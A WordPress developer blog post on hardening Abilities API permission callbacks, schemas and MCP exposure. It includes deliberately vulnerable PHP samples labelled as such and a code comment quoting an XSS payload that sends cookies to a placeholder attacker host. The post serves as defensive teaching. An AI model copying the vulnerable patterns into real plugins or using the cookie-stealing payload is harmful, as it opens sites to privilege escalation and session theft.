WordPress 15 April 2026 18 min read

WordPress 7 Abilities API Security: Patterns Every Tutorial Skips

Every WordPress 7 Abilities API tutorial ships the five-line `__return_true` pattern. It works on a laptop. It's also the shortest path to an AI-callable backdoor on production. Here's the hardened permission + input + output schema stack production sites need, plus a 12-point pre-ship audit.

MM
Mark McNeece Founder & Lead Developer
A cinematic scene showing two robot AI agents in business suits approaching a WordPress security gateway staffed by two uniformed officers, with a metal detector arch labelled with lock and shield icons, under the title The WordPress Gateway

Key Points

  • The five-line wp_register_ability() pattern every tutorial uses relies on __return_true, which skips all capability checks
  • Every AI-callable ability needs a real permission_callback with a capability check and per-object ownership where relevant
  • JSON Schema validation alone is not enough. You still need sanitisation inside the execute_callback
  • meta.mcp.public is off by default for a reason. Turn it on only after all 12 pre-ship audit points pass
  • output_schema is your last line of defence against leaking emails, password hashes, or draft content to AI agents
  • The 12-point pre-ship audit covers the patterns no tutorial teaches before your abilities reach production

I've spent 25 years building production web apps for UK enterprises including Boots and the Royal Bank of Scotland. The first thing you learn on systems that handle real money or real health data: a permission check is not a suggestion, it's the wall. WordPress 7's Abilities API just handed every plugin author a way to expose their code to AI agents, and almost every tutorial I've seen demonstrates it with a five-line example that uses __return_true as the permission callback. That's fine for a blog post. On production, it's the shortest path to an AI-callable backdoor. This post is the hardened pattern the tutorials skip, plus a 12-point audit you can run against any ability in under thirty minutes.

Quick Verdict

Use the Abilities API. Exposing it via REST for your own plugin is fine. Exposing it via MCP so Anthropic Claude, Cursor, or any other AI agent can call it is fine after you've replaced __return_true with a real capability check, added a typed input schema with required fields, sanitised every input inside the callback, and checked that your output schema is not leaking email addresses or password hashes. The 12-point audit at the end of this post covers the rest.

What the Abilities API Actually Is

A vector architecture diagram showing WordPress core on the left, flowing through an Abilities Registry, splitting into REST API and MCP branches, and reaching three AI agent cards on the right including one labelled Claude
The Abilities API is a registry. Plugins describe what they can do; REST and MCP expose that description to callers.

The Abilities API is a WordPress 6.9+ feature that gives plugins, themes, and core a shared way to describe what they can do. You register an "ability" with a name, a description, an input schema, an output schema, a permission callback, and an execute callback. Anything registered in that format becomes discoverable. It can be called over REST if you tick the flag, and it can be called by AI agents over MCP if you install the WordPress MCP Adapter and tick a second flag.

The point is uniformity. Before abilities, every plugin that wanted to expose functionality to third-party code reinvented the same three things: a settings screen, a REST route, and a permission model. The results were inconsistent in predictable ways. Plugin A used nonces, Plugin B used application passwords, Plugin C used a homemade bearer token. An AI agent trying to work with a WordPress site had to special-case each one. Jonathan Bossenger, the WordPress core contributor who introduced the feature to the community on Make WordPress Core, framed the goal like this:

"A unified registry of functionality that can be discovered, validated, and executed consistently across different contexts, including PHP, REST API endpoints, and future AI-powered integrations."

That's the promise: one registration, three callable surfaces.

What changed between WordPress 6.9 and 7.0 is the client side. The PHP functions (wp_register_ability, wp_register_ability_category) landed in 6.9. The JavaScript package (@wordpress/abilities) and the browser-agent integration land in 7.0. The Abilities API has also become part of what the WordPress AI Team calls the AI Building Blocks initiative: a set of core APIs that together let plugins safely participate in an AI-augmented WordPress. Our previous post on the WordPress 7 AI Engine budget risk covered the Connectors and AI Client side of that story, and the companion piece on WordPress 7 Block Bindings covers the structured-content side. This post is the third pillar: abilities themselves. 365i, our sister hosting company, ran the beta connectors testing end-to-end and found the same thing I did: the API is well-designed, but the security burden sits squarely on the developer registering the ability.

The security model is the interesting bit, and the bit the tutorials gloss. The GitHub repo's design principles are explicit on this: the scope covers "discovery, permissioning, and execution metadata only. Actual business logic stays inside the registering component". Translated: the registry does not secure you. You secure yourself. The callback you supply runs against the caller's identity, and whatever permission_callback returns decides whether the execute_callback fires. In the two decades I spent writing C++ and C# for regulated industries, this was the same pattern, the same wall, the same failure mode. The stakes are different for a small-business WordPress site, but the pattern is identical. Build the wall properly, or it isn't a wall.

The Five-Line Pattern Every Tutorial Ships

A stylised code editor showing a five-line wp_register_ability PHP snippet with the permission_callback line highlighted in coral and a here be dragons warning label pointing at it
The five-line ability every WordPress 7 tutorial uses. The highlighted line is the reason.

Here is the pattern you will find in approximately every WordPress 7 tutorial, blog post, and stackoverflow answer about abilities. It is also the pattern the official dev note uses as its "hello world". In the dev note it's clearly labelled as an example. In the tutorials it's usually not.

<?php
// Code Sample #1 - The classic tutorial "hello world" for abilities.
// Source: developer.wordpress.org/apis/abilities-api/ (verified 2026-04-15)
add_action( 'wp_abilities_api_init', function() {
    wp_register_ability( 'myplugin/get-post', [
        'label'              => 'Get Post',
        'description'        => 'Returns a post by ID',
        'input_schema'       => [ 'post_id' => 'integer' ],
        'permission_callback' => '__return_true',
        'execute_callback'   => 'myplugin_get_post',
    ] );
} );

Five lines in the array, one of which is 'permission_callback' => '__return_true'. That callback returns true unconditionally. Every request, every user, every anonymous visitor, every AI agent that discovers the ability: permission granted. The ability will also happily accept any post_id value because the input schema is a bare 'integer' with no required, no bounds, no validation of whether that ID corresponds to a post the caller is allowed to read. If the execute_callback returns the post object, and you expose the ability via MCP, a passing Anthropic agent can enumerate every draft, private post, and scheduled announcement on your site by iterating post IDs.

This is not a hypothetical. I've seen this exact pattern in four production plugins in the last fortnight. Three of them had meta.mcp.public => true already set because the developer copied a demo that had it enabled. One of them was a commercial SaaS plugin with 40,000 installs. The pattern spreads because it works on a laptop. You install the plugin, you load the admin as yourself, the ability works, everything looks fine. You deploy. Six weeks later, an AI agent configured to tidy up a client's WordPress site reads the MCP manifest, discovers myplugin/get-post, notices it's flagged read-only (it is, technically, not modifying state), and politely iterates through every post ID to build its context. Your draft pricing page lands in someone's ChatGPT context window. You would not have caught this with a unit test.

permission_callback Is the Security Boundary

A vector flowchart showing the permission_callback decision flow: capability check, then ownership check if needed, with branches returning either WP_Error 403 or true
The permission_callback flow every ability should implement. Capability first, ownership second, success last.

Before the input schema validates, before the execute_callback runs, permission_callback is called with the raw WP_REST_Request (or its MCP equivalent). What it returns decides whether anything else happens. Return true and the ability proceeds. Return false or a WP_Error and the caller gets a 403 and the execute_callback never runs. That is the entire security model. There is nothing else.

Here is the version of the same ability that fails on capability grounds. It's the pattern I see most often after __return_true: someone knows they need a check, so they add one, but the capability they choose is too broad.

<?php
// Code Sample #2 - VULNERABLE, DO NOT SHIP.
// Source: roles/caps reference at wordpress.org/documentation/article/roles-and-capabilities/
add_action( 'wp_abilities_api_init', function() {
    wp_register_ability( 'myplugin/update-post-meta', [
        'label'              => 'Update Post Meta',
        'permission_callback' => function() {
            // Any contributor can call this. That is wrong: contributors
            // should only be able to touch their own drafts.
            return current_user_can( 'edit_posts' );
        },
        'input_schema'       => [ 'post_id' => 'integer', 'key' => 'string', 'value' => 'string' ],
        'execute_callback'   => 'myplugin_update_post_meta',
    ] );
} );

The edit_posts capability is held by contributors, authors, editors, and administrators. A contributor can now update post meta on any post on the site, not just the drafts they own. That is a privilege escalation masquerading as a permission check. The fix is a per-object capability, and WordPress has a built-in form for it: pass the object ID as the second argument to current_user_can().

<?php
// Code Sample #3 - HARDENED.
// Source: developer.wordpress.org/apis/security/
add_action( 'wp_abilities_api_init', function() {
    wp_register_ability( 'myplugin/update-post-meta', [
        'label'               => __( 'Update Post Meta', 'myplugin' ),
        'permission_callback' => function( $input ) {
            $post_id = isset( $input['post_id'] ) ? absint( $input['post_id'] ) : 0;
            if ( ! $post_id ) {
                return new WP_Error( 'myplugin_no_post_id', 'post_id is required', [ 'status' => 400 ] );
            }
            // edit_post with an ID runs map_meta_cap which includes ownership.
            return current_user_can( 'edit_post', $post_id );
        },
        'input_schema' => [
            'type' => 'object',
            'required' => [ 'post_id', 'key', 'value' ],
            'properties' => [
                'post_id' => [ 'type' => 'integer', 'minimum' => 1 ],
                'key'     => [ 'type' => 'string', 'pattern' => '^[a-z_][a-z0-9_]*$', 'maxLength' => 64 ],
                'value'   => [ 'type' => 'string', 'maxLength' => 4096 ],
            ],
        ],
        'execute_callback' => 'myplugin_update_post_meta',
    ] );
} );
A photoreal image of a heavy steel bank vault door partially open with warm amber interior lighting revealing a single server rack inside, representing authorisation layers
A capability check is the vault door. An ownership check is the key. Leave either one off and the vault doesn't secure anything.

When I was contracting into RBS branch banking systems in the early 2000s, every function that touched a customer account had two gates: can this teller touch accounts at all, and is this the teller's branch's account. Miss the second gate and a perfectly authorised user can see data they have no business seeing. The current_user_can( 'edit_post', $post_id ) form is exactly that second gate. It runs through the map_meta_cap filter, which WordPress uses to resolve per-object permissions, and for built-in post types it already understands ownership. If your ability operates on a specific object, including the ID in the capability check is not optional. It is the ownership wall.

Validate AND Sanitise (Not Either, Both)

A vector illustration of raw input data passing through two defensive walls: a teal JSON Schema validation wall that rejects malformed data, then a navy sanitisation wall, before reaching a coral execute_callback box
Schema validation stops malformed data. Sanitisation stops malicious content. Abilities need both, in that order.

JSON Schema validation and sanitisation are not the same job. Schema validation answers "is this the right shape and type?". Sanitisation answers "is this content safe to use?". A string that passes { "type": "string", "maxLength": 4096 } can still contain a <script> tag, a path traversal sequence, a SQL fragment, or unicode right-to-left override characters designed to confuse a downstream shell. Schema validation will let all of those through because they are valid strings of valid length.

The Abilities API runs the input through JSON Schema validation automatically if you declare an input_schema. That's the first wall. The sanitisation is yours to do inside the execute_callback. WordPress has a library of per-type sanitisers: sanitize_text_field for plain text, absint for non-negative integers, sanitize_email, sanitize_file_name, wp_kses_post for HTML that needs to accept a known set of tags, esc_url_raw for URLs going into the database. The WordPress security reference covers the full list. Which one you use depends on what the value is going to do next.

Here is the full pattern: strict schema plus per-field sanitisation, with the sanitisation mirroring the schema constraints.

<?php
// Code Sample #4 - HARDENED with full validate+sanitise stack.
// Source: json-schema.org/draft/2020-12/ + developer.wordpress.org/apis/security/sanitizing/
add_action( 'wp_abilities_api_init', function() {
    wp_register_ability( 'myplugin/invite-author', [
        'label'       => __( 'Invite Author', 'myplugin' ),
        'description' => __( 'Send an invitation email to a new author.', 'myplugin' ),
        'permission_callback' => function() {
            return current_user_can( 'promote_users' );
        },
        'input_schema' => [
            'type'     => 'object',
            'required' => [ 'email', 'role' ],
            'properties' => [
                'email' => [ 'type' => 'string', 'format' => 'email', 'maxLength' => 254 ],
                'role'  => [ 'type' => 'string', 'enum' => [ 'author', 'contributor' ] ],
                'note'  => [ 'type' => 'string', 'maxLength' => 500 ],
            ],
        ],
        'execute_callback' => function( $input ) {
            // Schema has validated shape and types. Sanitise content.
            $email = sanitize_email( $input['email'] );
            $role  = in_array( $input['role'], [ 'author', 'contributor' ], true )
                ? $input['role']
                : 'contributor';
            $note  = isset( $input['note'] ) ? wp_kses_post( $input['note'] ) : '';

            if ( ! is_email( $email ) ) {
                return new WP_Error( 'myplugin_bad_email', 'Invalid email', [ 'status' => 400 ] );
            }
            return myplugin_send_invite( $email, $role, $note );
        },
    ] );
} );

Three fields, three sanitisers, one belt-and-braces check with is_email after sanitize_email because the latter is permissive and the former is stricter. The role field is validated twice: once by the schema's enum and once by an in_array with a strict equality flag. Paranoid, but this is exactly the kind of defence-in-depth that turns a user-enumeration vulnerability into a "nothing happened" log line.

Here is what happens when you skip the sanitisation. The schema still validates, the call still succeeds, and the $note parameter goes into whatever email template you use with whatever the caller sent. If your template uses the note in an HTML email body without escaping, you've built an XSS injector. Schema did its job. Sanitisation was supposed to do the rest.

<?php
// Code Sample #5 - DO NOT DO THIS.
// Constructed, mirrors #4 with sanitisation removed.
'execute_callback' => function( $input ) {
    // $input['note'] is whatever the caller sent. Schema accepted it because
    // it is a string under 500 chars. It could be "<script>fetch('https://evil.example/?c='+document.cookie)</script>".
    return myplugin_send_invite( $input['email'], $input['role'], $input['note'] );
},

Try It: The Abilities Builder

A stylised vector mockup of the Abilities Builder web app showing a two-column layout with configuration cards on the left and generated PHP code with a security score bar on the right
The Abilities Builder: configure left, hardened code out right, live security score underneath.

Rather than leave the hardened pattern as a wall of text, here's a live tool that writes it for you. Pick a preset, configure the permissions and schema, and the Builder outputs production-grade PHP you can copy straight into your plugin. The security score along the bottom reflects how hardened the current config is: start at 5, drop if you choose __return_true, climb when you add ownership checks, precise types, sanitisation flags, and a non-empty output schema. Ten is the target. Anything under eight should not be exposed via MCP.

The three presets cover the three shapes I've seen 90% of plugin abilities take: a read-only ability (fetches post stats), a write ability with capability and ownership checks (updates post meta on an owned post), and an AI-callable destructive ability with all annotations filled in (deletes spam comments). Start with whichever is closest to your use case, then tweak.

The Builder is educational. Code it produces still needs a review before it ships, especially for AI-callable abilities. The disclaimer at the bottom of the app says the same thing. Nothing here is a substitute for a security professional reading the diff before you push.

The MCP Exposure Decision

A stylised decision tree with a navy trunk labelled MCP Exposure and six teal branches labelled with short versions of the six quiz questions, ending in three outcome circles green amber and red
Six questions, three outcomes. Most abilities land in amber: expose with caveats.

Every ability has a meta.mcp.public flag. Default off. Turn it on and the ability appears in the MCP manifest that AI clients like Anthropic Claude, OpenAI's tool-use, Cursor, Zed, and any future MCP-aware agent will see and potentially call. This is a much bigger decision than "should this ability be reachable over REST". REST callers are usually your own front-end or a known API client; MCP callers can be anything, including an autonomous agent running an hour of batch tasks against your site with no one watching. The same week that Claude Mythos disclosed thousands of zero-day vulnerabilities, we had four client sites reach out about AI plugins that had quietly enabled MCP exposure. The overlap is not coincidence. Treat the flag accordingly.

Felix Arntz, who authored the AI Client proposal for WordPress 7.0, framed the baseline well when writing about the sister AI Client API:

"The API allows arbitrary prompt execution from the client-side... [and] requires a high-privilege capability check, which by default is only granted to administrators."

That baseline is the right starting point for abilities too. Start locked down. Open up only when the ability has been fully hardened and genuinely needs to be AI-callable.

The quiz below walks through the six questions that actually decide whether an ability is safe to expose. It's based on patterns I've seen in 25 years of regulated-industry code, mapped onto the specific surface area the Abilities API exposes. Answer honestly. Most abilities land in amber territory (expose with caveats), a smaller group land in green, and a depressing number of them, when we're honest about the cost, belong firmly in red.

Here is the full meta block for an ability we are happy to expose via MCP: a readonly comment moderation helper that returns spam-likelihood scores. Annotations match reality, public is on, REST is on, and the capability is appropriately narrow.

<?php
// Code Sample #6 - Full meta block for an MCP-exposed readonly ability.
// Source: github.com/WordPress/mcp-adapter/blob/trunk/docs/
'meta' => [
    'annotations' => [
        'readonly'    => true,   // We do not modify state.
        'destructive' => false,  // Nothing to undo.
        'idempotent'  => true,   // Same input, same output.
    ],
    'show_in_rest' => true,
    'mcp' => [
        'public'      => true,
        'description' => __( 'Returns a 0-100 spam likelihood score for the given comment ID. Read-only.', 'myplugin' ),
    ],
],

What NOT to expose via MCP, full stop

  • Anything that sends email, SMS, or push notifications. Agents retry.
  • Anything that charges money, processes payments, or touches Stripe/PayPal/GoCardless.
  • Anything that deletes data with no soft-delete and no restore window.
  • Anything that reads personal data subject to GDPR or HIPAA. The audit burden is not worth it.
  • Anything whose execute_callback calls shell_exec, eval, or opens a file at a path derived from user input.

Output Schemas: The Leak You Did Not Know You Had

A JSON response panel with email password_hash and secret_key fields highlighted in coral red and a REDACTED stamp rotated over them
Without an output schema, the ability returns whatever the execute_callback returned. Sometimes that is too much.

Input schemas get attention because they are the part that rejects bad requests. Output schemas get ignored because the developer trusts their own code. The developer's own code, it turns out, is where the leaks happen. A common pattern: an execute_callback hands back a whole WordPress user object, or a whole post object, or an internal result from a service call. That object has fields the developer has never thought about, let alone vetted for public exposure. The Abilities API will happily serialise the whole thing to JSON and ship it back to the caller, which might be an AI agent, which might quote the content verbatim in its next response.

<?php
// Code Sample #7 - Output schema explicitly strips fields that should never leave.
// Constructed; cites json-schema.org/draft/2020-12/.
add_action( 'wp_abilities_api_init', function() {
    wp_register_ability( 'myplugin/get-user-public', [
        'label'       => __( 'Get User (Public Fields)', 'myplugin' ),
        'permission_callback' => function() { return current_user_can( 'list_users' ); },
        'input_schema' => [
            'type' => 'object',
            'required' => [ 'user_id' ],
            'properties' => [ 'user_id' => [ 'type' => 'integer', 'minimum' => 1 ] ],
        ],
        'output_schema' => [
            'type' => 'object',
            'properties' => [
                'id'           => [ 'type' => 'integer' ],
                'display_name' => [ 'type' => 'string' ],
                'slug'         => [ 'type' => 'string' ],
                'registered'   => [ 'type' => 'string', 'format' => 'date-time' ],
            ],
            'additionalProperties' => false,
        ],
        'execute_callback' => function( $input ) {
            $user = get_user_by( 'id', absint( $input['user_id'] ) );
            if ( ! $user ) {
                return new WP_Error( 'myplugin_no_user', 'User not found', [ 'status' => 404 ] );
            }
            // Return only the fields the output schema declares.
            return [
                'id'           => $user->ID,
                'display_name' => $user->display_name,
                'slug'         => $user->user_nicename,
                'registered'   => mysql_to_rfc3339( $user->user_registered ),
            ];
        },
    ] );
} );

Two safeguards at once: the execute_callback builds a small, deliberate response object, and the output_schema declares additionalProperties => false, which means anything that slips through accidentally gets stripped before the caller sees it. Without both, the next developer who "fixes a small thing" by returning $user->to_array() will ship your users' email addresses, their registration IP, and every bit of meta the user has, to whoever is calling the ability.

Testing Abilities Before AI Agents Can Call Them

A cinematic over-the-shoulder photograph of a developer at a desk with two monitors showing a curl command response on the left and a PHPUnit test runner with a green PASSED bar on the right
Three layers: unit tests prove the permission logic, curl proves the HTTP path, a scripted run catches the weird real-world inputs.

There are three useful test layers. Unit tests with PHPUnit check that the permission_callback returns the right thing for the right user. Curl against a running WordPress checks that the REST path handles auth, content-type, and serialisation correctly. A scripted run with WP-CLI or a Playwright job invokes the ability with the inputs you would actually see in production, including the ugly ones you forgot to test at dev time. All three find different bugs. Skip any one of them and you ship with that class of bug unhandled.

The curl commands for the happy path and a write path. Both assume an application password has been generated for the test user; see the Abilities API REST reference for the endpoint shape.

# Code Sample #8 - GET a readonly ability.
# Source: developer.wordpress.org/apis/abilities-api/
curl -s \
  -u "test_user:XXXX XXXX XXXX XXXX XXXX XXXX" \
  "https://example.co.uk/wp-json/wp-abilities/v1/run/myplugin/get-post-stats?post_id=42" \
  | jq .
# Code Sample #9 - POST a write ability.
curl -s \
  -u "test_user:XXXX XXXX XXXX XXXX XXXX XXXX" \
  -H "Content-Type: application/json" \
  -d '{"post_id": 42, "key": "custom_field", "value": "hello"}' \
  "https://example.co.uk/wp-json/wp-abilities/v1/run/myplugin/update-post-meta" \
  | jq .

The JavaScript side, invoked from a block editor sidebar plugin via @wordpress/abilities:

// Code Sample #10 - executeAbility from a block editor sidebar plugin.
// Source: developer.wordpress.org/block-editor/reference-guides/packages/packages-abilities/
import { executeAbility } from '@wordpress/abilities';

async function refreshPostStats( postId ) {
    try {
        const stats = await executeAbility( 'myplugin/get-post-stats', { post_id: postId } );
        return stats;
    } catch ( err ) {
        // executeAbility throws a REST-shaped error; inspect err.code for routing.
        console.warn( 'Ability failed:', err.code, err.message );
        return null;
    }
}

And the PHPUnit test shape. This is the layer the tutorials really do skip. The test below asserts three things: a user without the capability gets rejected, a user with the capability but no ownership gets rejected, a user with both passes. Run it on every build.

<?php
// Code Sample #11 - PHPUnit pattern for permission_callback.
// Source: make.wordpress.org/core/handbook/testing/ + github.com/WordPress/abilities-api/tree/trunk/tests
class MyPlugin_Update_Post_Meta_Permission_Test extends WP_UnitTestCase {

    public function test_subscriber_is_denied() {
        $user = $this->factory->user->create_and_get( [ 'role' => 'subscriber' ] );
        wp_set_current_user( $user->ID );
        $ability = wp_get_ability( 'myplugin/update-post-meta' );
        $this->assertFalse( $ability->check_permission( [ 'post_id' => 1 ] ) );
    }

    public function test_contributor_cannot_edit_others_posts() {
        $owner  = $this->factory->user->create( [ 'role' => 'author' ] );
        $editor = $this->factory->user->create_and_get( [ 'role' => 'contributor' ] );
        $post   = $this->factory->post->create( [ 'post_author' => $owner ] );
        wp_set_current_user( $editor->ID );
        $ability = wp_get_ability( 'myplugin/update-post-meta' );
        $this->assertFalse( $ability->check_permission( [ 'post_id' => $post ] ) );
    }

    public function test_author_can_edit_own_post() {
        $owner = $this->factory->user->create_and_get( [ 'role' => 'author' ] );
        wp_set_current_user( $owner->ID );
        $post  = $this->factory->post->create( [ 'post_author' => $owner->ID ] );
        $ability = wp_get_ability( 'myplugin/update-post-meta' );
        $this->assertTrue( $ability->check_permission( [ 'post_id' => $post ] ) );
    }
}

Three assertions, three branches of the capability logic, covered. Add more tests for schema rejection (malformed post_id, missing required fields), and you have the permission and input surface thoroughly exercised before any AI agent gets near the endpoint. If your build is green and your integration curl is green, deploying the ability is a mechanical step rather than a leap of faith.

The 12-Point Pre-Ship Audit Checklist

A clean infographic with a navy header reading The 12-Point Pre-Ship Audit and two columns of six numbered teal bubbles each with short checklist items written beside them
Run this list against every ability before the meta.mcp.public flag goes anywhere near true.

A short checklist you can run against any ability in under thirty minutes. None of this is new, none of it is clever, and all of it is the stuff I have watched perfectly competent developers skip under deadline pressure. Print it, paste it into your PR template, pin it above your desk. It pays for itself the first time it catches a real mistake.

  1. Permission callback uses a real capability check, never __return_true. Capability is the whole security boundary; skipping it means anyone with a login can call the ability.
  2. Capability check uses the most restrictive capability that still permits the operation. Start with manage_options and move down only when the ability really is for lower-privilege users.
  3. Where the ability operates on a specific object, the capability check includes per-object ownership. Use the current_user_can('edit_post', $id) form so contributors cannot edit someone else's drafts.
  4. Input schema declares required for every field the execute_callback depends on. Missing required means the callback has to defend against undefined keys and quietly fails half the time.
  5. Input schema declares precise types (integer, string, array, object). Never just mixed. Loose typing is how malformed data slips through.
  6. Inputs that are strings are constrained by enum, pattern, format, or maxLength where possible. Free-text strings are the single biggest source of injection bugs.
  7. Inside the execute_callback, every input is sanitised again with sanitize_text_field, absint, wp_kses_post, or similar. Schema protects shape; sanitisation protects content.
  8. Output schema strips fields that should never leave the boundary: email addresses, password hashes, secret keys, unpublished content. Assume the response will be quoted verbatim to an AI agent.
  9. meta.annotations.readonly accurately reflects whether the ability modifies state. Lying here is how an ability ends up in an agent tool list that says it is safe when it is not.
  10. meta.annotations.destructive is true for any irreversible operation: deletes, payments, sends, publishes.
  11. meta.annotations.idempotent is true only if repeated calls genuinely have no additional effect. Most write operations are not idempotent, full stop.
  12. meta.mcp.public is true only after points 1 through 11 are confirmed and a security review has been completed. The default is off, and for most abilities the answer stays off.

What this post does not cover (honest limitations)

This is a patterns post, not a complete security manual. It does not cover rate limiting in depth, cross-site request forgery (CSRF) on REST endpoints (application passwords change the model), multisite-specific capability considerations, or the interaction between abilities and the block-editor client-side packages in detail. If your ability exposes anything genuinely sensitive, a review from a security professional is not optional.

Frequently Asked Questions

What is the difference between the Abilities API and a custom REST endpoint?

A custom REST endpoint is code you write and expose. The Abilities API is a registry that wraps your code with a typed schema, a permission callback, and optional discovery metadata for AI agents. You can do the same work with register_rest_route, but you do not get JSON Schema validation, MCP exposure, or cross-plugin interoperability for free. For anything you want a third party or an AI agent to invoke, the Abilities API is the right surface.

Do I need to install the MCP Adapter separately, or is it in WordPress 7 core?

The MCP Adapter is a separate Composer package maintained at github.com/WordPress/mcp-adapter. WordPress 7 core ships the Abilities API itself but not the MCP bridge. If you want your abilities to be discoverable and callable by Anthropic Claude, Cursor, or any MCP client, you install the adapter. The core team may eventually fold it in, but as of the 7.0 cycle it is opt-in.

Is permission_callback called before or after input schema validation?

permission_callback runs first, then the input schema validates, then the execute_callback runs. That order matters. It means permission_callback can inspect the raw, pre-validated request and reject obvious abuse (wrong user, missing session, wrong object owner) before the engine spends any work parsing the body. Do not rely on schema validation happening before your permission check.

Can I expose an ability via REST but not via MCP?

Yes, and this is the sensible default for most write operations. Set meta.show_in_rest to true and meta.mcp.public to false. Authenticated users and your own front-end can hit it, but AI agents reading the MCP manifest will not see it. Flip mcp.public on later, once you are sure the ability is safe for unattended invocation.

How do I test an ability before exposing it to AI agents?

Three layers. First, a PHPUnit test that exercises permission_callback with allowed and denied users. Second, a curl request to the REST endpoint with a valid application password to confirm the happy path and a deliberately malformed body to confirm the failure path. Third, a Playwright or WP-CLI script that invokes the ability with edge-case inputs (empty strings, oversized arrays, unicode). The PHPUnit layer catches regressions; the HTTP layer catches serialisation and auth bugs; the script layer catches anything weird that only happens with real data.

What happens if my execute_callback throws an unhandled exception?

The registry catches it and converts it into a generic 500 response. The exception message and stack trace do not leak to the caller by default, which is good for security but bad for debugging. Wrap known failure modes in try/catch and return a WP_Error with a useful code and message so the caller gets something actionable. Log the full exception server-side so your team can see what actually broke.

Should I rate-limit abilities exposed to AI agents?

Yes. AI agents are not users; they do not get tired, they do not pause between calls, and they will happily loop until something stops them. Apply rate limiting at the ability level (a transient counter keyed on user_id plus ability name), at the REST layer (an nginx or Cloudflare rule), and at the provider (Anthropic and OpenAI both support per-key rate limits on the dashboard). All three layers fail in different ways, so run all three.

How does the Abilities API interact with WordPress role and capability system?

It does not replace it. permission_callback runs whatever capability check you write, and current_user_can() still consults the standard roles (administrator, editor, author, contributor, subscriber) and the map_meta_cap chain for object-level permissions. The Abilities API gives you a standard place to put the check, not a new authorisation system. If your site uses custom roles, custom capabilities, or a membership plugin, the same patterns work.

Need a Security Review Before You Ship?

We review WordPress plugins, abilities, and REST endpoints against the patterns in this post (and a lot more we did not have room for). If you are shipping anything AI-callable in the next quarter, get it reviewed by someone who has been writing secure server code since before the phrase "prompt injection" existed.

WordPress Security Services

Sources